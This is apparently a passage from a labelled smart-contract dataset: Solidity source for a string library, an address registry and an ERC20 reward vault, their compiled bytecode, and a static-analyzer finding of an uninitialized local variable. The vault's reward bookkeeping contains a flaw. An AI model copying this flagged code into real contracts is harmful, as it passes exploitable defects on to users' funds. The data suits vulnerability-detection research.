}
}
return -1;
}
/**
* @notice Check to see if two strings are exactly equal
* @dev Supports strings of arbitrary length
* @param input0 First string to compare
* @param input1 Second string to compare
* @return Returns true if strings are exactly equal, false if not
*/
function equal(string memory input0, string memory input1)
public
pure
returns (bool)
{
uint256 input0Length = bytes(input0).length;
uint256 input1Length = bytes(input1).length;
uint256 maxLength;
if (input0Length > input1Length) {
maxLength = input0Length;
} else {
maxLength = input1Length;
}
uint256 numberOfRowsToCompare = (maxLength / 32) + 1;
bytes32 input0Bytes32;
bytes32 input1Bytes32;
for (uint256 rowIdx; rowIdx < numberOfRowsToCompare; rowIdx++) {
uint256 offset = 0x20 * (rowIdx + 1);
assembly {
input0Bytes32 := mload(add(input0, offset))
input1Bytes32 := mload(add(input1, offset))
}
if (input0Bytes32 != input1Bytes32) {
return false;
}
}
return true;
}
/**
* @notice Convert ASCII to integer
* @param input Integer as a string (ie. "345")
* @param base Base to use for the conversion (10 for decimal)
* @return output Returns uint256 representation of input string
* @dev Based on GemERC721 utility but includes a fix
*/
function atoi(string memory input, uint8 base)
public
pure
returns (uint256 output)
{
require(base == 2 || base == 8 || base == 10 || base == 16);
bytes memory buf = bytes(input);
for (uint256 idx = 0; idx < buf.length; idx++) {
uint8 digit = uint8(buf[idx]) - 0x30;
if (digit > 10) {
digit -= 7;
}
require(digit < base);
output *= base;
output += digit;
}
return output;
}
/**
* @notice Convert integer to ASCII
* @param input Integer as a string (ie. "345")
* @param base Base to use for the conversion (10 for decimal)
* @return output Returns string representation of input integer
* @dev Based on GemERC721 utility but includes a fix
*/
function itoa(uint256 input, uint8 base)
public
pure
returns (string memory output)
{
require(base == 2 || base == 8 || base == 10 || base == 16);
if (input == 0) {
return "0";
}
bytes memory buf = new bytes(256);
uint256 idx = 0;
while (input > 0) {
uint8 digit = uint8(input % base);
uint8 ascii = digit + 0x30;
if (digit > 9) {
ascii += 7;
}
buf[idx++] = bytes1(ascii);
input /= base;
}
uint256 length = idx;
for (idx = 0; idx < length / 2; idx++) {
buf[idx] ^= buf[length - 1 - idx];
buf[length - 1 - idx] ^= buf[idx];
buf[idx] ^= buf[length - 1 - idx];
}
output = string(buf);
}
/**
* @notice Convert a string to lowercase
* @param input Input string
* @return Returns the string in lowercase
*/
function lowercase(string memory input)
internal
pure
returns (string memory)
{
bytes memory _input = bytes(input);
for (uint256 inputIdx = 0; inputIdx < _input.length; inputIdx++) {
uint8 character = uint8(_input[inputIdx]);
if (character >= 65 && character <= 90) {
character += 0x20;
_input[inputIdx] = bytes1(character);
}
}
return string(_input);
}
/**
* @notice Convert a string to uppercase
* @param input Input string
* @return Returns the string in uppercase
*/
function uppercase(string memory input)
internal
pure
returns (string memory)
{
bytes memory _input = bytes(input);
for (uint256 inputIdx = 0; inputIdx < _input.length; inputIdx++) {
uint8 character = uint8(_input[inputIdx]);
if (character >= 97 && character <= 122) {
character -= 0x20;
_input[inputIdx] = bytes1(character);
}
}
return string(_input);
}
/**
* @notice Determine whether or not haystack contains needle
* @param haystack The string to search
* @param needle The substring to search for
* @return Returns true if needle exists in haystack, false if not
*/
function contains(string memory haystack, string memory needle)
internal
pure
returns (bool)
{
return indexOfStringInString(needle, haystack) >= 0;
}
/**
* @notice Convert bytes32 to string and remove padding
* @param _bytes32 The input bytes32 data to convert
* @return Returns the string representation of the bytes32 data
*/
function bytes32ToString(bytes32 _bytes32)
public
pure
returns (string memory)
{
uint8 i = 0;
while (i < 32 && _bytes32[i] != 0) {
i++;
}
bytes memory bytesArray = new bytes(i);
for (i = 0; i < 32 && _bytes32[i] != 0; i++) {
bytesArray[i] = _bytes32[i];
}
return string(bytesArray);
}
}
contract Ownable {
address public ownerAddress;
constructor() {
ownerAddress = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == ownerAddress, "Ownable: caller is not the owner");
_;
}
function setOwnerAddress(address _ownerAddress) public onlyOwner {
ownerAddress = _ownerAddress;
}
}
contract AddressesProvider is Ownable {
mapping(uint256 => address) addressMap;
mapping(uint256 => string) addressIdMap;
uint256 addressesLength;
struct AddressMetadata {
string addrId;
address addr;
}
function setAddress(AddressMetadata memory addressMetadata)
public
onlyOwner
{
string memory addressId = addressMetadata.addrId;
address addr = addressMetadata.addr;
uint256 upsertPosition = addressesLength;
int256 addressPosition = addressPositionById(addressId);
if (addressPosition >= 0) {
upsertPosition = uint256(addressPosition);
} else {
addressIdMap[upsertPosition] = addressId;
addressesLength++;
}
addressMap[upsertPosition] = addr;
}
function setAddresses(AddressMetadata[] memory _addressesMetadata)
public
onlyOwner
{
for (
uint256 addressMetadataIdx;
addressMetadataIdx < _addressesMetadata.length;
addressMetadataIdx++
) {
AddressMetadata memory addressMetadata = _addressesMetadata[
addressMetadataIdx
];
setAddress(addressMetadata);
}
}
function addressPositionById(string memory addressId)
public
view
returns (int256)
{
for (uint256 addressIdx; addressIdx < addressesLength; addressIdx++) {
string memory currentAddressId = addressIdMap[addressIdx];
if (String.equal(addressId, currentAddressId)) {
return int256(addressIdx);
}
}
return -1;
}
function addressById(string memory addressId)
external
view
returns (address)
{
return addressMap[uint256(addressPositionById(addressId))];
}
function addresses() external view returns (address[] memory) {
address[] memory _addresses = new address[](addressesLength);
for (uint256 addressIdx; addressIdx < addressesLength; addressIdx++) {
_addresses[addressIdx] = addressMap[addressIdx];
}
return _addresses;
}
function addressesIds() external view returns (string[] memory) {
string[] memory _addressesIds = new string[](addressesLength);
for (uint256 addressIdx; addressIdx < addressesLength; addressIdx++) {
_addressesIds[addressIdx] = addressIdMap[addressIdx];
}
return _addressesIds;
}
function addressesMetadata()
external
view
returns (AddressMetadata[] memory)
{
AddressMetadata[] memory _addressesMetadata = new AddressMetadata[](
addressesLength
);
for (uint256 addressIdx; addressIdx < addressesLength; addressIdx++) {
_addressesMetadata[addressIdx] = AddressMetadata({
addrId: addressIdMap[addressIdx],
addr: addressMap[addressIdx]
});
}
return _addressesMetadata;
}
function addressesMetadataByIdStartsWith(string memory addressIdSubstring)
external
view
returns (AddressMetadata[] memory)
{
AddressMetadata[] memory _addressesMetadata = new AddressMetadata[](
addressesLength
);
uint256 _addressesLength;
for (uint256 addressIdx; addressIdx < addressesLength; addressIdx++) {
string memory addressId = addressIdMap[addressIdx];
bool foundMatch = String.startsWith(addressId, addressIdSubstring);
if (foundMatch) {
_addressesMetadata[_addressesLength] = AddressMetadata({
addrId: addressIdMap[addressIdx],
addr: addressMap[addressIdx]
});
_addressesLength++;
}
}
bytes memory encodedAddresses = abi.encode(_addressesMetadata);
assembly {
mstore(add(encodedAddresses, 0x40), _addressesLength)
}
AddressMetadata[] memory filteredAddresses = abi.decode(
encodedAddresses,
(AddressMetadata[])
);
return filteredAddresses;
}
}
|
0x608060405234801561001057600080fd5b506004361061009e5760003560e01c80638f84aa09116100665780638f84aa09146101475780639cd24a5014610165578063c684613314610181578063da0321cd146101b1578063ff5362a0146101cf5761009e565b806308aa5803146100a357806316026995146100c1578063331a6bf5146100df578063542535a2146100fb5780637adbe7aa1461012b575b600080fd5b6100ab6101ff565b6040516100b89190611077565b60405180910390f35b6100c961039a565b6040516100d6919061115b565b60405180910390f35b6100f960048036038101906100f491906111bd565b6104d2565b005b6101156004803603810190610110919061131f565b6105a3565b6040516101229190611377565b60405180910390f35b61014560048036038101906101409190611408565b6105e8565b005b61014f610746565b60405161015c9190611377565b60405180910390f35b61017f600480360381019061017a9190611537565b61076a565b005b61019b6004803603810190610196919061131f565b610844565b6040516101a89190611077565b60405180910390f35b6101b9610b5c565b6040516101c6919061162f565b60405180910390f35b6101e960048036038101906101e4919061131f565b610c56565b6040516101f6919061166a565b60405180910390f35b6060600060035467ffffffffffffffff81111561021f5761021e6111f4565b5b60405190808252806020026020018201604052801561025857816020015b610245610dcb565b81526020019060019003908161023d5790505b50905060005b600354811015610392576040518060400160405280600260008481526020019081526020016000208054610291906116b4565b80601f01602080910402602001604051908101604052809291908181526020018280546102bd906116b4565b801561030a5780601f106102df5761010080835404028352916020019161030a565b820191906000526020600020905b8154815290600101906020018083116102ed57829003601f168201915b505050505081526020016001600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815250828281518110610374576103736116e6565b5b6020026020010181905250808061038a9061174e565b91505061025e565b508091505090565b6060600060035467ffffffffffffffff8111156103ba576103b96111f4565b5b6040519080825280602002602001820160405280156103ed57816020015b60608152602001906001900390816103d85790505b50905060005b6003548110156104ca5760026000828152602001908152602001600020805461041b906116b4565b80601f0160208091040260200160405190810160405280929190818152602001828054610447906116b4565b80156104945780601f1061046957610100808354040283529160200191610494565b820191906000526020600020905b81548152906001019060200180831161047757829003601f168201915b50505050508282815181106104ac576104ab6116e6565b5b602002602001018190525080806104c29061174e565b9150506103f3565b508091505090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610560576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610557906117f4565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600160006105b284610c56565b815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610676576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161066d906117f4565b60405180910390fd5b60008160000151905060008260200151905060006003549050600061069a84610c56565b9050600081126106ac578091506106ed565b836002600084815260200190815260200160002090805190602001906106d3929190610dfb565b50600360008154809291906106e79061174e565b91905055505b826001600084815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146107f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107ef906117f4565b60405180910390fd5b60005b8151811015610840576000828281518110610819576108186116e6565b5b6020026020010151905061082c816105e8565b5080806108389061174e565b9150506107fb565b5050565b6060600060035467ffffffffffffffff811115610864576108636111f4565b5b60405190808252806020026020018201604052801561089d57816020015b61088a610dcb565b8152602001906001900390816108825790505b5090506000805b600354811015610b0d5760006002600083815260200190815260200160002080546108ce906116b4565b80601f01602080910402602001604051908101604052809291908181526020018280546108fa906116b4565b80156109475780601f1061091c57610100808354040283529160200191610947565b820191906000526020600020905b81548152906001019060200180831161092a57829003601f168201915b50505050509050600073cad10033c86b0c1ed6bfccaa2ff6779938558e9f63adf069ea83896040518363ffffffff1660e01b815260040161098992919061185e565b602060405180830381865af41580156109a6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109ca91906118cd565b90508015610af85760405180604001604052806002600086815260200190815260200160002080546109fb906116b4565b80601f0160208091040260200160405190810160405280929190818152602001828054610a27906116b4565b8015610a745780601f10610a4957610100808354040283529160200191610a74565b820191906000526020600020905b815481529060010190602001808311610a5757829003601f168201915b505050505081526020016001600086815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815250858581518110610ade57610add6116e6565b5b60200260200101819052508380610af49061174e565b9450505b50508080610b059061174e565b9150506108a4565b50600082604051602001610b219190611077565b6040516020818303038152906040529050816040820152600081806020019051810190610b4e9190611aa0565b905080945050505050919050565b6060600060035467ffffffffffffffff811115610b7c57610b7b6111f4565b5b604051908082528060200260200182016040528015610baa5781602001602082028036833780820191505090505b50905060005b600354811015610c4e576001600082815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16828281518110610c0157610c006116e6565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250508080610c469061174e565b915050610bb0565b508091505090565b6000805b600354811015610da1576000600260008381526020019081526020016000208054610c84906116b4565b80601f0160208091040260200160405190810160405280929190818152602001828054610cb0906116b4565b8015610cfd5780601f10610cd257610100808354040283529160200191610cfd565b820191906000526020600020905b815481529060010190602001808311610ce057829003601f168201915b5050505050905073cad10033c86b0c1ed6bfccaa2ff6779938558e9f6346bdca9a85836040518363ffffffff1660e01b8152600401610d3d92919061185e565b602060405180830381865af4158015610d5a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d7e91906118cd565b15610d8d578192505050610dc6565b508080610d999061174e565b915050610c5a565b507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff90505b919050565b604051806040016040528060608152602001600073ffffffffffffffffffffffffffffffffffffffff1681525090565b828054610e07906116b4565b90600052602060002090601f016020900481019282610e295760008555610e70565b82601f10610e4257805160ff1916838001178555610e70565b82800160010185558215610e70579182015b82811115610e6f578251825591602001919060010190610e54565b5b509050610e7d9190610e81565b5090565b5b80821115610e9a576000816000905550600101610e82565b5090565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b600081519050919050565b600082825260208201905092915050565b60005b83811015610f04578082015181840152602081019050610ee9565b83811115610f13576000848401525b50505050565b6000601f19601f8301169050919050565b6000610f3582610eca565b610f3f8185610ed5565b9350610f4f818560208601610ee6565b610f5881610f19565b840191505092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000610f8e82610f63565b9050919050565b610f9e81610f83565b82525050565b60006040830160008301518482036000860152610fc18282610f2a565b9150506020830151610fd66020860182610f95565b508091505092915050565b6000610fed8383610fa4565b905092915050565b6000602082019050919050565b600061100d82610e9e565b6110178185610ea9565b93508360208202850161102985610eba565b8060005b8581101561106557848403895281516110468582610fe1565b945061105183610ff5565b925060208a0199505060018101905061102d565b50829750879550505050505092915050565b600060208201905081810360008301526110918184611002565b905092915050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b60006110d18383610f2a565b905092915050565b6000602082019050919050565b60006110f182611099565b6110fb81856110a4565b93508360208202850161110d856110b5565b8060005b85811015611149578484038952815161112a85826110c5565b9450611135836110d9565b925060208a01995050600181019050611111565b50829750879550505050505092915050565b6000602082019050818103600083015261117581846110e6565b905092915050565b6000604051905090565b600080fd5b600080fd5b61119a81610f83565b81146111a557600080fd5b50565b6000813590506111b781611191565b92915050565b6000602082840312156111d3576111d2611187565b5b60006111e1848285016111a8565b91505092915050565b600080fd5b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b61122c82610f19565b810181811067ffffffffffffffff8211171561124b5761124a6111f4565b5b80604052505050565b600061125e61117d565b905061126a8282611223565b919050565b600067ffffffffffffffff82111561128a576112896111f4565b5b61129382610f19565b9050602081019050919050565b82818337600083830152505050565b60006112c26112bd8461126f565b611254565b9050828152602081018484840111156112de576112dd6111ef565b5b6112e98482856112a0565b509392505050565b600082601f830112611306576113056111ea565b5b81356113168482602086016112af565b91505092915050565b60006020828403121561133557611334611187565b5b600082013567ffffffffffffffff8111156113535761135261118c565b5b61135f848285016112f1565b91505092915050565b61137181610f83565b82525050565b600060208201905061138c6000830184611368565b92915050565b600080fd5b600080fd5b6000604082840312156113b2576113b1611392565b5b6113bc6040611254565b9050600082013567ffffffffffffffff8111156113dc576113db611397565b5b6113e8848285016112f1565b60008301525060206113fc848285016111a8565b60208301525092915050565b60006020828403121561141e5761141d611187565b5b600082013567ffffffffffffffff81111561143c5761143b61118c565b5b6114488482850161139c565b91505092915050565b600067ffffffffffffffff82111561146c5761146b6111f4565b5b602082029050602081019050919050565b600080fd5b600061149561149084611451565b611254565b905080838252602082019050602084028301858111156114b8576114b761147d565b5b835b818110156114ff57803567ffffffffffffffff8111156114dd576114dc6111ea565b5b8086016114ea898261139c565b855260208501945050506020810190506114ba565b5050509392505050565b600082601f83011261151e5761151d6111ea565b5b813561152e848260208601611482565b91505092915050565b60006020828403121561154d5761154c611187565b5b600082013567ffffffffffffffff81111561156b5761156a61118c565b5b61157784828501611509565b91505092915050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b60006115b88383610f95565b60208301905092915050565b6000602082019050919050565b60006115dc82611580565b6115e6818561158b565b93506115f18361159c565b8060005b8381101561162257815161160988826115ac565b9750611614836115c4565b9250506001810190506115f5565b5085935050505092915050565b6000602082019050818103600083015261164981846115d1565b905092915050565b6000819050919050565b61166481611651565b82525050565b600060208201905061167f600083018461165b565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806116cc57607f821691505b602082108114156116e0576116df611685565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000819050919050565b600061175982611744565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561178c5761178b611715565b5b600182019050919050565b600082825260208201905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006117de602083611797565b91506117e9826117a8565b602082019050919050565b6000602082019050818103600083015261180d816117d1565b9050919050565b600082825260208201905092915050565b600061183082610eca565b61183a8185611814565b935061184a818560208601610ee6565b61185381610f19565b840191505092915050565b600060408201905081810360008301526118788185611825565b9050818103602083015261188c8184611825565b90509392505050565b60008115159050919050565b6118aa81611895565b81146118b557600080fd5b50565b6000815190506118c7816118a1565b92915050565b6000602082840312156118e3576118e2611187565b5b60006118f1848285016118b8565b91505092915050565b600061190d6119088461126f565b611254565b905082815260208101848484011115611929576119286111ef565b5b611934848285610ee6565b509392505050565b600082601f830112611951576119506111ea565b5b81516119618482602086016118fa565b91505092915050565b60008151905061197981611191565b92915050565b60006040828403121561199557611994611392565b5b61199f6040611254565b9050600082015167ffffffffffffffff8111156119bf576119be611397565b5b6119cb8482850161193c565b60008301525060206119df8482850161196a565b60208301525092915050565b60006119fe6119f984611451565b611254565b90508083825260208201905060208402830185811115611a2157611a2061147d565b5b835b81811015611a6857805167ffffffffffffffff811115611a4657611a456111ea565b5b808601611a53898261197f565b85526020850194505050602081019050611a23565b5050509392505050565b600082601f830112611a8757611a866111ea565b5b8151611a978482602086016119eb565b91505092915050565b600060208284031215611ab657611ab5611187565b5b600082015167ffffffffffffffff811115611ad457611ad361118c565b5b611ae084828501611a72565b9150509291505056fea26469706673582212208675a78099c1661bfd6b8784c7d262b57e980dbe0943e8a8d2b5b6630675f0d064736f6c634300080b0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 3,241 |
0xcd1b8fe872fea3b873b4367a870589e33c42d68a
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success, ) = recipient.call{ value : amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract sVault {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint256;
struct Reward {
uint256 amount;
uint256 timestamp;
uint256 totalDeposit;
}
mapping(address => uint256) public _lastCheckTime;
mapping(address => uint256) public _rewardBalance;
mapping(address => uint256) public _depositBalances;
uint256 public _totalDeposit;
Reward[] public _rewards;
string public _vaultName;
IERC20 public token0;
IERC20 public token1;
address public feeAddress;
address public vaultAddress;
uint32 public feePermill;
uint256 public delayDuration = 7 days;
bool public withdrawable;
uint256 public totalRate = 10000;
uint256 public userRate = 8500;
address public treasury;
address public gov;
uint256 public _rewardCount;
event SentReward(uint256 amount);
event Deposited(address indexed user, uint256 amount);
event ClaimedReward(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
constructor (address _token0, address _token1, address _feeAddress, address _vaultAddress, string memory name, address _treasury) payable {
token0 = IERC20(_token0);
token1 = IERC20(_token1);
feeAddress = _feeAddress;
vaultAddress = _vaultAddress;
_vaultName = name;
gov = msg.sender;
treasury = _treasury;
}
modifier onlyGov() {
require(msg.sender == gov, "!governance");
_;
}
function setGovernance(address _gov)
external
onlyGov
{
gov = _gov;
}
function setToken0(address _token)
external
onlyGov
{
token0 = IERC20(_token);
}
function setTotalRate(uint256 _totalRate)
external
onlyGov
{
totalRate = _totalRate;
}
function setTreasury(address _treasury)
external
onlyGov
{
treasury = _treasury;
}
function setUserRate(uint256 _userRate)
external
onlyGov
{
userRate = _userRate;
}
function setToken1(address _token)
external
onlyGov
{
token1 = IERC20(_token);
}
function setFeeAddress(address _feeAddress)
external
onlyGov
{
feeAddress = _feeAddress;
}
function setVaultAddress(address _vaultAddress)
external
onlyGov
{
vaultAddress = _vaultAddress;
}
function setFeePermill(uint32 _feePermill)
external
onlyGov
{
feePermill = _feePermill;
}
function setDelayDuration(uint32 _delayDuration)
external
onlyGov
{
delayDuration = _delayDuration;
}
function setWithdrawable(bool _withdrawable)
external
onlyGov
{
withdrawable = _withdrawable;
}
function setVaultName(string memory name)
external
onlyGov
{
_vaultName = name;
}
function balance0()
external
view
returns (uint256)
{
return token0.balanceOf(address(this));
}
function balance1()
external
view
returns (uint256)
{
return token1.balanceOf(address(this));
}
function getReward(address userAddress)
internal
{
uint256 lastCheckTime = _lastCheckTime[userAddress];
uint256 rewardBalance = _rewardBalance[userAddress];
if (lastCheckTime > 0 && _rewards.length > 0) {
for (uint i = _rewards.length - 1; lastCheckTime < _rewards[i].timestamp; i--) {
rewardBalance = rewardBalance.add(_rewards[i].amount.mul(_depositBalances[userAddress]).div(_rewards[i].totalDeposit));
if (i == 0) break;
}
}
_rewardBalance[userAddress] = rewardBalance;
_lastCheckTime[msg.sender] = block.timestamp;
}
function deposit(uint256 amount) external {
getReward(msg.sender);
uint256 feeAmount = amount.mul(feePermill).div(1000);
uint256 realAmount = amount.sub(feeAmount);
if (feeAmount > 0) {
token0.safeTransferFrom(msg.sender, feeAddress, feeAmount);
}
if (realAmount > 0) {
token0.safeTransferFrom(msg.sender, vaultAddress, realAmount);
_depositBalances[msg.sender] = _depositBalances[msg.sender].add(realAmount);
_totalDeposit = _totalDeposit.add(realAmount);
emit Deposited(msg.sender, realAmount);
}
}
function withdraw(uint256 amount) external {
require(token0.balanceOf(address(this)) > 0, "no withdraw amount");
require(withdrawable, "not withdrawable");
getReward(msg.sender);
if (amount > _depositBalances[msg.sender]) {
amount = _depositBalances[msg.sender];
}
require(amount > 0, "can't withdraw 0");
token0.safeTransfer(msg.sender, amount);
_depositBalances[msg.sender] = _depositBalances[msg.sender].sub(amount);
_totalDeposit = _totalDeposit.sub(amount);
emit Withdrawn(msg.sender, amount);
}
function sendReward(uint256 amount) external {
require(amount > 0, "can't reward 0");
require(_totalDeposit > 0, "totalDeposit must bigger than 0");
uint256 amountUser = amount.mul(userRate).div(totalRate);
amount = amount.sub(amountUser);
token1.safeTransferFrom(msg.sender, address(this), amountUser);
token1.safeTransferFrom(msg.sender, treasury, amount);
Reward memory reward;
reward = Reward(amountUser, block.timestamp, _totalDeposit);
_rewards.push(reward);
emit SentReward(amountUser);
}
function claimReward(uint256 amount) external {
getReward(msg.sender);
uint256 rewardLimit = getRewardAmount(msg.sender);
if (amount > rewardLimit) {
amount = rewardLimit;
}
_rewardBalance[msg.sender] = _rewardBalance[msg.sender].sub(amount);
token1.safeTransfer(msg.sender, amount);
}
function claimRewardAll() external {
getReward(msg.sender);
uint256 rewardLimit = getRewardAmount(msg.sender);
_rewardBalance[msg.sender] = _rewardBalance[msg.sender].sub(rewardLimit);
token1.safeTransfer(msg.sender, rewardLimit);
}
function getRewardAmount(address userAddress) public view returns (uint256) {
uint256 lastCheckTime = _lastCheckTime[userAddress];
uint256 rewardBalance = _rewardBalance[userAddress];
if (_rewards.length > 0) {
if (lastCheckTime > 0) {
for (uint i = _rewards.length - 1; lastCheckTime < _rewards[i].timestamp; i--) {
rewardBalance = rewardBalance.add(_rewards[i].amount.mul(_depositBalances[userAddress]).div(_rewards[i].totalDeposit));
if (i == 0) break;
}
}
for (uint j = _rewards.length - 1; block.timestamp < _rewards[j].timestamp.add(delayDuration); j--) {
uint256 timedAmount = _rewards[j].amount.mul(_depositBalances[userAddress]).div(_rewards[j].totalDeposit);
timedAmount = timedAmount.mul(_rewards[j].timestamp.add(delayDuration).sub(block.timestamp)).div(delayDuration);
rewardBalance = rewardBalance.sub(timedAmount);
if (j == 0) break;
}
}
return rewardBalance;
}
function seize(address token, address to) external onlyGov {
require(IERC20(token) != token0 && IERC20(token) != token1, "main tokens");
if (token != address(0)) {
uint256 amount = IERC20(token).balanceOf(address(this));
IERC20(token).transfer(to, amount);
}
else {
uint256 amount = address(this).balance;
payable(to).transfer(amount);
}
}
fallback () external payable { }
receive () external payable { }
}
|
0x6080604052600436106102345760003560e01c8063ab033ea91161012e578063c78b6dea116100ab578063e4186aa61161006f578063e4186aa6146107d9578063f0f442601461080c578063fab980b71461083f578063fcc0c680146108c9578063fe7b82d9146109045761023b565b8063c78b6dea14610729578063cbeb7ef214610753578063d21220a71461077f578063d86e1ef714610794578063e2aa2a85146107c45761023b565b8063b79ea884116100f2578063b79ea88414610669578063b8f6e8411461069c578063b8f79288146106b1578063c45c4f58146106e1578063c6e426bd146106f65761023b565b8063ab033ea91461059a578063adc3b31b146105cd578063ae169a5014610600578063b5984a361461062a578063b6b55f251461063f5761023b565b8063430bf08a116101bc578063637830ca11610180578063637830ca146104c257806371e2f020146104d757806385535cc5146104ec5780638705fcd41461051f5780638f1e9405146105525761023b565b8063430bf08a1461040e57806344264d3d1461042357806344a040f514610451578063501883011461048457806361d027b3146104ad5761023b565b806327b5b6a01161020357806327b5b6a01461035d5780632e1a7d4d1461039057806336422e54146103ba57806341275358146103e457806342a66f68146103f95761023b565b80630dfe16811461023d57806311cc66b21461026e57806312d43a51146103215780631c69ad00146103365761023b565b3661023b57005b005b34801561024957600080fd5b5061025261092e565b604080516001600160a01b039092168252519081900360200190f35b34801561027a57600080fd5b5061023b6004803603602081101561029157600080fd5b8101906020810181356401000000008111156102ac57600080fd5b8201836020820111156102be57600080fd5b803590602001918460018302840111640100000000831117156102e057600080fd5b91908080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525092955061093d945050505050565b34801561032d57600080fd5b506102526109a1565b34801561034257600080fd5b5061034b6109b0565b60408051918252519081900360200190f35b34801561036957600080fd5b5061034b6004803603602081101561038057600080fd5b503560016001